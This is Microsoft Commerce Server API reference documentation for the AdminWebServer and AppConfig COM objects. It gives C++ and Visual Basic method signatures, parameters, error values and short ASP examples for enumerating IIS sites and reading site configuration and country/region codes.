The AdminWebServer object is used to enumerate the Web sites on a server and display the properties of those sites.

Active Server Pages (ASP) scripts that access the Microsoft Internet Information Services (IIS) metabase require administrator privileges on the computer on which IIS is running. When you run these scripts from a remote computer, you must connect through a secure connection, such as the Microsoft Windows NT Challenge/Response Authentication method. It is suggested that you create a server or directory for your administrative .asp files and set the directory security authentication method to Windows NT Challenge/Response for the server or directory.

See Also

AppConfig Object

GlobalConfig Object

SiteConfig and SiteConfigReadOnly Objects


AdminWebServer Object [C++]

AdminWebServer Object [Visual Basic]

Use this object to enumerate all Web sites on a server, to obtain the properties of those Web sites, and to enumerate all Commerce sites on a Web site.

ProgID: | Commerce.AdminWebServer (Externally creatable)
COM Class Name: | AdminWebServer
Type Library Name: | Commerce Admin 1.0 Type Library
DLL Name: | MSCSadmin.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAdminWebServer
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the IAdminWebServer interface to access the methods of the AdminWebServer object.

Methods

[C++]
Method | Description
GetWebSiteProperties | Given a server instance, returns the properties of the site as name/value pairs in a Dictionary object.
GetWebSites | Enumerates all Web sites. Returns an array of numbers representing all Web sites (server instances).
[Visual Basic]
Method | Description
GetWebSiteProperties | Given a server instance, returns the properties of the site as name/value pairs in a Dictionary object.
GetWebSites | Enumerates all Web sites. Returns an array of numbers representing all Web sites (server instances).

Remarks

Active Server Pages (ASP) scripts that access the Microsoft Internet Information Services (IIS) metabase require administrator privileges on the computer on which IIS is running. When you execute these scripts from a remote computer, you must connect through a secure connection, such as the Microsoft Windows NT Challenge/Response Authentication method. You can create a server or directory for your administrative .asp files and set the directory security authentication method to Windows NT Challenge/Response for the server or directory.

See Also

Configuration Objects


IAdminWebServer Methods [C++]

AdminWebServer Methods [Visual Basic]

Methods

[C++]
Method | Description
GetWebSiteProperties | Given a server instance, returns the properties of the site as name/value pairs in a Dictionary object.
GetWebSites | Enumerates all Web sites. Returns an array of numbers representing all Web sites (server instances).
[Visual Basic]
Method | Description
GetWebSiteProperties | Given a server instance, returns the properties of the site as name/value pairs in a Dictionary object.
GetWebSites | Enumerates all Web sites. Returns an array of numbers representing all Web sites (server instances).


IAdminWebServer::GetWebSiteProperties Method [C++]

AdminWebServer.GetWebSiteProperties Method [Visual Basic]

Use this method to retrieve, given a server instance, the properties of a site as name/value pairs in a Dictionary object.

Definition

[C++]
HRESULT IAdminWebServer::GetWebSiteProperties(
  BSTR bstrInstance,
  IDictionary** ppIDictSiteProperties
);
[Visual Basic]
Function GetWebSiteProperties(
  bstrInstance As String
) As Object

Parameters

bstrInstance [C++]
[in] A numeric value, expressed as a BSTR, representing a server instance for a site.
bstrInstance [Visual Basic]
A numeric value, expressed as a String, representing a server instance for a site.
ppIDictSiteProperties [C++]
[out] The address of a pointer used to return the IDictionary interface of the Dictionary object containing the properties of the specified site.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] This method returns a reference to a Dictionary object containing the properties of the specified site.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppIDictSiteProperties parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
<%
' Create AdminWebServer object
Set objWebServer = CreateObject("Commerce.AdminWebServer")

' Get Web sites
WebSites = objWebServer.GetWebSites
For WebInstance = LBound(WebSites, 1) To UBound(WebSites, 1)
    ' Return its properties in a dictionary
    Set objDict = objWebServer.GetWebSiteProperties(WebSites(WebInstance))

    ' Enumerate and display the dictionary
   For Each property in objDict
      Response.Write  property & " = " & objDict.value(property) & "<br>"
    next
Next

' Destroy objects
Set objDict = Nothing
Set objWebServer = Nothing
%>

See Also

[C++] AdminWebServer Object

[Visual Basic] AdminWebServer Object


IAdminWebServer::GetWebSites Method [C++]

AdminWebServer.GetWebSites Method [Visual Basic]

Use this method to enumerate all Web sites. The method returns an array of numbers that represent the server instance number for each Web site.

Definition

[C++]
HRESULT IAdminWebServer::GetWebSites(
  VARIANT* pvarInstances
);
[Visual Basic]
Function GetWebSites() As Variant

Parameters

pvarInstances [C++]
[out] An address of a VARIANT used to return an array of numbers that represent all server instances.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] This method returns a Variant containing an array of numbers representing all server instances.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The pvarInstances parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AdminWebServer Object

[Visual Basic] AdminWebServer Object


AppConfig Object [C++]

AppConfig Object [Visual Basic]

Use this object to retrieve site configuration settings from the site configuration store. Also, use this object to retrieve the names and codes of various countries/regions and states/provinces from the site configuration store.

ProgID: | Commerce.AppConfig (Externally creatable)
COM Class Name: | AppCfg
Type Library Name: | Microsoft Commerce 2002 App Helper Type Library
DLL Name: | AppHelper.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAppCfg
Interface ID Constant: | IID_IAppCfg
Header File: | mspu_guids.h
[C++]

In C++, use the IAppCfg interface to access the methods of the AppConfig object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
DecodeStatusCode | Decodes the specified status code.
GetCountryCodeFromCountryName | Returns the country/region code for the specified country/region name.
GetCountryNameFromCountryCode | Returns the country/region name for the specified country/region code.
GetCountryNamesList | Returns an alphabetical list of country/region names.
GetOptionsDictionary | Returns a Dictionary object that maps site configuration keys to site configuration values.
GetRegionCodeFromCountryCodeAndRegionName | Returns the state/province code for the specified country/region code and state/province name.
GetRegionNameFromCountryCodeAndRegionCode | Returns the state/province name for the specified country/region code and state/province code.
GetRegionNamesListFromCountryCode | Returns an alphabetical list of state/province names for the specified country/region code.
Initialize | Initializes the AppConfig object.
RefreshCache | Refreshes the AppConfig object cache.
[Visual Basic]
Method | Description
DecodeStatusCode | Decodes the specified status code.
GetCountryCodeFromCountryName | Returns the country/region code for the specified country/region name.
GetCountryNameFromCountryCode | Returns the country/region name for the specified country/region code.
GetCountryNamesList | Returns an alphabetical list of country/region names.
GetOptionsDictionary | Returns a Dictionary object that maps site configuration keys to site configuration values.
GetRegionCodeFromCountryCodeAndRegionName | Returns the state/province code for the specified country/region code and state/province name.
GetRegionNameFromCountryCodeAndRegionCode | Returns the state/province name for the specified country/region code and state/province code.
GetRegionNamesListFromCountryCode | Returns an alphabetical list of state/province names for the specified country/region code.
Initialize | Initializes the AppConfig object.
RefreshCache | Refreshes the AppConfig object cache.

Remarks

This object is usually created once and initialized in the Global.asa file, for performance reasons. An instance of it is stored in the Application object and used on ASP pages as necessary.

The following example illustrates these steps:

Dim oAppConfig
Set oAppConfig = Server.CreateObject("Commerce.AppConfig")
Set Application("MSCSAppCfg") = oAppConfig

[C++] Country/region codes may or may not be the same as ISO country/region codes, depending on what values have been added in the Business Desk. For more information on Country/Region codes, see Table of Country/Region and State/Province Names and Codes Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] Country/region codes may or may not be the same as ISO country/region codes, depending on what values have been added in the Business Desk. For more information on Country/Region codes, see Table of Country/Region and State/Province Names and Codes Table of Language Culture Names, Codes, and ISO Values

See Also

[C++] Configuration Objects

[Visual Basic] Configuration Objects


IAppCfg Methods [C++]

AppCfg Methods [Visual Basic]

Methods

[C++]
Method | Description
DecodeStatusCode | Decodes the specified status code.
GetCountryCodeFromCountryName | Returns the country/region code for the specified country/region name.
GetCountryNameFromCountryCode | Returns the country/region name for the specified country/region code.
GetCountryNamesList | Returns an alphabetical list of country/region names.
GetOptionsDictionary | Returns a Dictionary object that maps site configuration keys to site configuration values.
GetRegionCodeFromCountryCodeAndRegionName | Returns the state/province code for the specified country/region code and state/province name.
GetRegionNameFromCountryCodeAndRegionCode | Returns the state/province name for the specified country/region code and state/province code.
GetRegionNamesListFromCountryCode | Returns an alphabetical list of state/province names for the specified country/region code.
Initialize | Initializes the AppConfig object.
RefreshCache | Refreshes the AppConfig object cache.
[Visual Basic]
Method | Description
DecodeStatusCode | Decodes the specified status code.
GetCountryCodeFromCountryName | Returns the country/region code for the specified country/region name.
GetCountryNameFromCountryCode | Returns the country/region name for the specified country/region code.
GetCountryNamesList | Returns an alphabetical list of country/region names.
GetOptionsDictionary | Returns a Dictionary object that maps site configuration keys to site configuration values.
GetRegionCodeFromCountryCodeAndRegionName | Returns the state/province code for the specified country/region code and state/province name.
GetRegionNameFromCountryCodeAndRegionCode | Returns the state/province name for the specified country/region code and state/province code.
GetRegionNamesListFromCountryCode | Returns an alphabetical list of state/province names for the specified country/region code.
Initialize | Initializes the AppConfig object.
RefreshCache | Refreshes the AppConfig object cache.


IAppCfg::DecodeStatusCode Method [C++]

AppConfig.DecodeStatusCode Method [Visual Basic]

Use this method to decode the specified status code.

Definition

[C++]
HRESULT IAppCfg::DecodeStatusCode(
  int iStatusCode,
  BSTR* pbstrStatusCode
);
[Visual Basic]
Function DecodeStatusCode(
  iStatusCode As Integer
) As String

Parameters

iStatusCode [C++]
[in] An integer that specifies the status code to be decoded.
iStatusCode [Visual Basic]
An Integer that specifies the status code to be decoded.
pbstrStatusCode [C++]
[out, retval] The address of a BSTR used to return the decoded status code. If the specified status code is not in the system, that same status code is returned.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the decoded status code. If the specified status code is not in the system, that same status code is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrStatusCode parameter contains valid data only if the method returns successfully.

Status codes are entered in the Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AppConfig Object

[Visual Basic] AppConfig Object


IAppCfg::GetCountryCodeFromCountryName Method [C++]

AppConfig.GetCountryCodeFromCountryName Method [Visual Basic]

Use this method to get the country/region code corresponding to the specified country/region name.

Definition

[C++]
HRESULT IAppCfg::GetCountryCodeFromCountryName(
  BSTR bstrCountryName,
  BSTR* pbstrCountryCode
);
[Visual Basic]
Function GetCountryCodeFromCountryName(
  bstrCountryName As String
) As String

Parameters

bstrCountryName [C++]
[in] A BSTR that contains the name of the country/region for which the country/region code is being requested.
bstrCountryName [Visual Basic]
A String that contains the name of the country/region for which the country/region code is being requested.
pbstrCountryCode [C++]
[out, retval] The address of a BSTR used to return the country/region code being requested.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the country/region code. If the country/region code is not found, an empty string is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrCountryCode parameter contains valid data only if the method returns successfully.

If the country/region code is not found, the method returns an empty string.

Country/region codes and country/region names may be set in Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppConfig is a Commerce.AppConfig object
' sCode is a String
sCode = oAppConfig.GetCountryCodeFromCountryName("United States of _
America")

See Also

[C++] AppConfig Object

[C++] IAppCfg::GetCountryNameFromCountryCode

[C++] IAppCfg::GetCountryNamesList

[C++] Table of Country/Region and State/Province Names and Codes

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.GetCountryNameFromCountryCode

[Visual Basic] AppConfig.GetCountryNamesList

[Visual Basic] Table of Country/Region and State/Province Names and Codes


IAppCfg::GetCountryNameFromCountryCode Method [C++]

AppConfig.GetCountryNameFromCountryCode Method [Visual Basic]

Use this method to get the country/region name corresponding to the specified country/region code.

Definition

[C++]
HRESULT IAppCfg::GetCountryNameFromCountryCode(
  BSTR bstrCountryCode,
  BSTR* pbstrCountryName
);
[Visual Basic]
Function GetCountryNameFromCountryCode(
  bstrCountryCode As String
) As String

Parameters

bstrCountryCode [C++]
[in] A BSTR that contains the code of the country/region for which the country/region name is being requested.
bstrCountryCode [Visual Basic]
A String that contains the code of the country/region for which the country/region name is being requested.
pbstrCountryName [C++]
[out, retval] The address of a BSTR used to return the requested country/region name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the country/region name. If the name is not found, the country/region code is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrCountryName parameter contains valid data only if the method returns successfully.

If the country/region name is not found, the method returns the country/region code specified in the bstrCountryCode parameter.

Country/region codes and country/region names may be set in Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppConfig is a Commerce.AppConfig object
' sCountryName is a String
sCountryName = oAppConfig.GetCountryNameFromCountryCode("us")

See Also

[C++] AppConfig Object

[C++] IAppCfg::GetCountryCodeFromCountryName

[C++] IAppCfg::GetCountryNamesList

[C++] Table of Country/Region and State/Province Names and Codes

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.GetCountryCodeFromCountryName

[Visual Basic] AppConfig.GetCountryNamesList

[Visual Basic] Table of Country/Region and State/Province Names and Codes


IAppCfg::GetCountryNamesList Method [C++]

AppConfig.GetCountryNamesList Method [Visual Basic]

Use this method to get an alphabetical list of the country/region names that are in the site configuration database.

Definition

[C++]
HRESULT IAppCfg::GetCountryNamesList(
  ISimpleList** pplistCountryNames
);
[Visual Basic]
Function GetCountryNamesList() As Object

Parameters

pplistCountryNames [C++]
[out, retval] The address of a pointer used to return an ISimpleList interface. Upon successful completion of the method, this list contains an alphabetical list of country/region names.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a SimpleList object. This object contains an alphabetical list of country/region names.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pplistCountryNames parameter contains valid data only if the method returns successfully.

Country/region codes and country/region names may be set in Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppConfig is a Commerce.AppConfig object
' listCountries is a SimpleList object
Set listCountries = oAppConfig.GetCountryNamesList()
For Each sCountry in listCountry
Response.Write sCountry
Next

See Also

[C++] AppConfig Object

[C++] IAppCfg::GetCountryCodeFromCountryName

[C++] Table of Country/Region and State/Province Names and Codes

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.GetCountryCodeFromCountryName

[Visual Basic] Table of Country/Region and State/Province Names and Codes


IAppCfg::GetOptionsDictionary Method [C++]

AppConfig.GetOptionsDictionary [Visual Basic]

Use this method to retrieve a Dictionary object that contains the site configuration information.

Definition

[C++]
HRESULT IAppCfg::GetOptionsDictionary(
  BSTR bstrUserID,
  IDictionary** ppdispOptionsDictionary
);
[Visual Basic]
Function GetOptionsDictionary(
  bstrUserID As String
) As Object

Parameters

bstrUserID [C++]
[in] A BSTR that contains an empty string ("").
bstrUserID [Visual Basic]
A String that contains an empty string ("").
ppdispOptionsDictionary [C++]
[out, retval] The address of a pointer used to return an IDictionary interface pointer. The associated Dictionary object contains the site configuration information. See the Remarks section for a list of some dictionary keys.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a Dictionary object that contains the site configuration information.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppdispOptionsDictionary parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Some options dictionary keys, such as i_AuctionOptions, are reserved for future use. The following table lists the names of the keys in the Dictionary object returned by this method that are mapped in the Microsoft Management Console (MMC).

Programmatic Name | MMC Default Config Mapping
i_AddItemRedirectOptions | Add item redirect options
i_AddressBookOptions | Address Book Options
f_AltCurrencyConversionRate | Currency: Alternate currency conversion Rate
i_AltCurrencyLocale | Currency: Alternate currency locale
i_AltCurrencyOptions | Currency: Alternate currency options
i_BaseCurrencyLocale | Currency: Base currency locale
i_BillingOptions | Payment options: Billing options
i_BizTalkOptions | BizTalk Options
i_CookiePathCorrectionOptions | Cookie Path Correction Options
i_CurrencyDisplayOrderOptions | Currency: Currency display order options
i_DelegatedAdminOptions | Delegated admin options
i_FormLoginOptions | Form login options
i_FormLoginTimeOut | AuthManager Auth ticket Timeout
i_HostNameCorrectionOptions | Host Name Correction Options
i_PaymentOptions | Payment options
i_SitePrivacyOptions | Site privacy options
i_SiteRegistrationOptions | Site registration options
i_SiteTicketOptions | Site ticket options
s_AltCurrencySymbol | Currency: Alternate currency symbol
s_BaseCurrencySymbol | Currency: Base currency symbol
s_BizTalkCatalogDocType | BizTalk Catalog Doc Type
s_BizTalkConnString | BizTalk connection String
s_BizTalkOrderDocType | BizTalk PO Doc Type
s_BizTalkSourceQualifierID | BizTalk Source Org Qualifier
s_BizTalkSourceQualifierValue | BizTalk Org Qualifier Value
s_BizTalkSubmittypeQueue | BizTalk Submit type
s_PageEncodingCharset | Page encoding charset
s_SMTPServerName | SMTP server name
s_WeightMeasure | Unit of Measure for Weight

The following table lists keys in the Dictionary object returned by this method that are not mapped in the MMC.

Programmatic Name | Value or Description
i_IsFullTextSearchInstalled | Indicates whether SQL Server has full text search enabled
s_BizDataStoreConnectionString | Profile Service: s_BizDataStoreConnectionString
s_CampaignsConnectionString | Campaigns: connstr_db_Campaigns
s_CatalogConnectionString | Product Catalog: connstr_db_Catalog
s_CommerceProviderConnectionString | Profile Service: s_CommerceProviderConnectionString
s_NonSecureHostname | This value is set in the global.asa file to the non-secure host name of the application.
s_ProfileServiceConnectionString | Profile Service: s_ProfileServiceConnectionString
s_SecureHostname | This value is set in the global.asa file to the secure host name of the application.
s_SiteName | Name of the Site
s_TransactionConfigConnectionString | Transaction Config: connstr_db_TransactionConfig
s_TransactionsConnectionString | Transactions: connstr_db_Transactions

Example

[Visual Basic]
' oAppConfig is a Commerce.AppConfig object
' dDictConfig is a Dictionary object
Set dictConfig = oAppConfig.GetOptionsDictionary("")
For Each sKey In dictConfig
    Response.Write sKey & "=" & dictConfig.Value(sKey)
Next

See Also

[C++] AppConfig Object

[Visual Basic] AppConfig Object


IAppCfg::GetRegionCodeFromCountryCodeAndRegionName Method [C++]

AppConfig.GetRegionCodeFromCountryCodeAndRegionName Method [Visual Basic]

Use this method to get a string that contains the state/province code for the specified country/region code and state/province name.

Definition

[C++]
HRESULT IAppCfg::GetRegionCodeFromCountryCodeAndRegionName(
  BSTR bstrCountryCode,
  BSTR bstrRegionName,
  BSTR* pbstrRegionCode
);
[Visual Basic]
Function GetRegionCodeFromCountryCodeAndRegionName(
  bstrCountryCode As String,
  bstrRegionName As String
) As String

Parameters

bstrCountryCode [C++]
[in] A BSTR that contains the code of the country/region for which the state/province code is being requested.
bstrCountryCode [Visual Basic]
A String that contains the code of the country/region for which the state/province code is being requested.
bstrRegionName [C++]
[in] A BSTR that contains the name of the state/province within the specified country/region for which the state/province code is being requested.
bstrRegionName [Visual Basic]
A String that contains the name of the state/province within the specified country/region for which the state/province code is being requested.
pbstrRegionCode [C++]
[out, retval] The address of a BSTR used to return the requested state/province code. An empty BSTR indicates that the code was not found.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the requested state/province code. An empty String indicates that the code was not found.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRegionCode parameter contains valid data only if the method returns successfully.

This method returns an empty string if the state/province code was not found.

Country/region codes, country/region names, state/province codes, and state/province names may be set in Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppCfg is a Commerce.AppConfig object, sResult is a string
sResult = oAppCfg.GetRegionCodeFromCountryCodeAndRegionName("us", "Utah")

See Also

[C++] AppConfig Object

[C++] IAppCfg::GetCountryCodeFromCountryName

[C++] IAppCfg::GetCountryNamesList

[C++] IappCfg::GetRegionNameFromCountryCodeAndRegionCode

[C++] IAppCfg::GetRegionNamesListFromCountryCode

[C++] Table of Country/Region and State/Province Names and Codes

[C#] AppConfig Object

[Visual Basic] AppConfig.GetCountryCodeFromCountryName

[Visual Basic] AppConfig.GetCountryNamesList

[Visual Basic] AppConfig.GetRegionNameFromCountryCodeAndRegionCode

[Visual Basic] AppConfig.GetRegionNamesListFromCountryCode

[Visual Basic] Table of Country/Region and State/Province Names and Codes


IAppCfg::GetRegionNameFromCountryCodeAndRegionCode Method [C++]

AppConfig.GetRegionNameFromCountryCodeAndRegionCode Method [Visual Basic]

Use this method to get the name of the state/province associated with the specified country/region code and state/province code.

Definition

[C++]
HRESULT IAppCfg::GetRegionNameFromCountryCodeAndRegionCode(
  BSTR bstrCountryCode,
  BSTR bstrRegionCode,
  BSTR* pbstrRegionName
);
[Visual Basic]
Function GetRegionNameFromCountryCodeAndRegionCode(
  bstrCountryCode As String,
  bstrRegionCode As String
) As String

Parameters

bstrCountryCode [C++]
[in] A BSTR that contains the code of the country/region for which the state/province name is being requested.
bstrCountryCode [Visual Basic]
A String that contains the code of the country/region for which the state/province name is being requested.
bstrRegionCode [C++]
[in] A BSTR that contains the code of the state/province within the specified country/region for which the state/province name is being requested.
bstrRegionCode [Visual Basic]
A String that contains the code of the state/province within the specified country/region for which the state/province name is being requested.
pbstrRegionName [C++]
[out, retval] The address of a BSTR used to return the state/province name. If the state/province name is not found, the BSTR will contain the state/province code specified in the bstrRegionCode parameter.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the state/province name. If the state/province name is not found, the String will contain the state/province code specified in the bstrRegionCode parameter.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRegionName parameter contains valid data only if the method returns successfully.

If the state/province name is not found, this method returns the state/province code specified in the bstrRegionCode parameter.

Country/region codes, country/region names, state/province codes, and state/province names may be set in Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppCfg is a Commerce.AppConfig object, sResult is a String
sResult = oAppCfg.GetRegionNameFromCountryCodeAndRegionCode("us", "UT")

See Also

[C++] AppConfig Object

[C++] IAppCfg::GetCountryCodeFromCountryName

[C++] IAppCfg::GetCountryNamesList

[C++] IAppCfg::GetRegionCodeFromCountryCodeAndRegionName

[C++] IAppCfg::GetRegionNamesListFromCountryCode

[C++] Table of Country/Region and State/Province Names and Codes

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.GetCountryCodeFromCountryName

[Visual Basic] AppConfig.GetCountryNamesList

[Visual Basic] AppConfig.GetRegionCodeFromCountryCodeAndRegionName

[Visual Basic] AppConfig.GetRegionNamesListFromCountryCode

[Visual Basic] Table of Country/Region and State/Province Names and Codes


IAppCfg::GetRegionNamesListFromCountryCode Method [C++]

AppConfig.GetRegionNamesListFromCountryCode [Visual Basic]

Use this method to retrieve an alphabetical list of state/province names associated with a specified country/region code.

Definition

[C++]
HRESULT IAppCfg::GetRegionNamesListFromCountryCode(
  BSTR bstrCountryCode,
  ISimpleList** pplistRegionNames
);
[Visual Basic]
Function GetRegionNamesListFromCountryCode(
  bstrCountryCode As String
) As Object

Parameters

bstrCountryCode [C++]
[in] A BSTR that contains the code of the country/region for which a list of state/province names is being requested.
bstrCountryCode [Visual Basic]
A String that contains the code of the country/region for which a list of state/province names is being requested.
pplistRegionNames [C++]
[out, retval] The address of a pointer used to return an ISimpleList interface pointer. Upon successful completion, the list contains an alphabetical list of state/province names associated with the specified country/region code.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a SimpleList object that contains an alphabetical list of state/province names associated with the specified country/region code.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pplistRegionNames parameter contains valid data only if the method returns successfully.

Country/region codes, country/region names, state/province codes, and state/province names may be set in Commerce Server Business Desk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppCfg is a Commerce.AppConfig object
' listRegions is a SimpleList object
Set listRegions = oAppConfig.GetRegionNamesListFromCountryCode("us")
For Each sRegion In listRegions
  Response.Write sRegion
Next
' The above example will provide a list of USA state names

See Also

[C++] AppConfig Object

[C++] IAppCfg::GetCountryCodeFromCountryName

[C++] IAppCfg::GetCountryNamesList

[C++] IAppCfg::GetRegionCodeFromCountryCodeAndRegionName

[C++] Table of Country/Region and State/Province Names and Codes

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.GetCountryCodeFromCountryName

[Visual Basic] AppConfig.GetCountryNamesList

[Visual Basic] AppConfig.GetRegionCodeFromCountryCodeAndRegionName

[Visual Basic] Table of Country/Region and State/Province Names and Codes


IAppCfg::Initialize Method [C++]

AppConfig.Initialize Method [Visual Basic]

Use this method to initialize an AppConfig object.

Definition

[C++]
HRESULT IAppCfg::Initialize(
  BSTR bstrSiteName
);
[Visual Basic]
Sub Initialize(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the name of the site with which this AppConfig object should be associated. This name is not case-sensitive.
bstrSiteName [Visual Basic]
A String that contains the name of the site with which this AppConfig object should be associated. This name is not case-sensitive.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

